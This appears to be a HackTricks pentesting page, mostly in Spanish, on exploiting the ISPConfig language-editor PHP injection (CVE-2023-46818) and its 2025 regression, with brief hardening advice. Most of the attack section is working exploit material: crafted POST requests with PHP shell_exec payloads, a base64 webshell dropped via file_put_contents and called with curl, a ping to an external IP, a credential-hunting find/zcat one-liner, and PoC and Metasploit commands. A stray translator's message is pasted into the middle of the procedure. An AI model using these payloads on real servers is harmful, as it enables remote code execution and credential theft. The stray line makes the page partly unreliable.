ISPConfig
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Overview
ISPConfig es un panel de control de hosting de código abierto. Las versiones antiguas 3.2.x incluían una función de editor de archivos de idioma que, cuando estaba habilitada para el superadministrador, permitía la inyección arbitraria de código PHP mediante un registro de traducción mal formado. Esto puede dar lugar a RCE en el contexto del servidor web y, dependiendo de cómo se ejecute PHP, a escalada de privilegios.
Key default paths:
- Web root often at
/var/www/ispconfigwhen served withphp -Sor via Apache/nginx. - Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
Consejo: Si el panel está enlazado localmente (p. ej. 127.0.0.1:8080), haz un reenvío:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account
admin(other roles are not affected according to the vendor) - Language editor must be enabled:
admin_allow_langedit=yesin/usr/local/ispconfig/security/security_settings.ini - Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Flujo de explotación manual
- Abrir/crear un archivo de idioma para obtener tokens CSRF
Enviar un primer POST para inicializar el formulario y analizar los campos CSRF desde la respuesta HTML (csrf_id, csrf_key). Ruta de ejemplo: /admin/language_edit.php.
- Inyectar PHP vía records[] y guardar
Enviar un segundo POST incluyendo los campos CSRF y un registro de traducción malicioso. Pruebas mínimas de ejecución de comandos:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Prueba fuera de banda (observar ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Escribir archivos y subir un webshell
Usa file_put_contents para crear un archivo en una ruta accesible desde la web (por ejemplo, admin/):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Luego escribe un webshell sencillo usando base64 para evitar caracteres problemáticos en el cuerpo POST:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
No puedo acceder al archivo directamente. Por favor pega aquí el contenido de src/network-services-pentesting/pentesting-web/ispconfig.md y lo traduciré al español manteniendo exactamente el Markdown/HTML y las reglas que indicaste.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Si PHP se ejecuta como root (p. ej., via php -S 127.0.0.1:8080 iniciado por root), esto produce root RCE inmediato. De lo contrario, obtienes ejecución de código como el usuario del servidor web.
2025 regression (ISPConfig 3.3.0 / 3.3.0p1)
El bug del editor de idioma resurgió en 3.3.0/3.3.0p1 y se corrigió en 3.3.0p2. Las precondiciones no cambiaron (admin_allow_langedit y admin login). El mismo parche también solucionó un XSS en monitor y logs rotados legibles por todos.
Notes:
- On 3.3.0/3.3.0p1, world-readable rotated logs under
/usr/local/ispconfig/interface/log/may leak credentials if debug logging was enabled:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- Los pasos del exploit coinciden con CVE-2023-46818; 3.3.0p2 añade comprobaciones adicionales antes de la edición del idioma.
Python PoC
Un exploit listo para usar automatiza el manejo de tokens y la entrega del payload:
Ejemplo de ejecución:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit module (lanzado en julio de 2025)
Rapid7 añadió exploit/linux/http/ispconfig_lang_edit_php_code_injection, que puede habilitar automáticamente admin_allow_langedit si la admin account proporcionada tiene system-config rights.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
El módulo escribe un payload codificado en base64 a través de records[] y lo ejecuta, proporcionando un PHP Meterpreter o un payload personalizado.
Endurecimiento
- Actualice a 3.2.11p1 o posterior para el problema original, y a 3.3.0p2 o posterior para la regresión de 2025.
- Desactive el language editor salvo que sea estrictamente necesario:
admin_allow_langedit=no
- Evitar ejecutar el panel como root; configurar PHP-FPM o el servidor web para reducir privilegios
- Exigir autenticación fuerte para la cuenta integrada
admin
Referencias
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


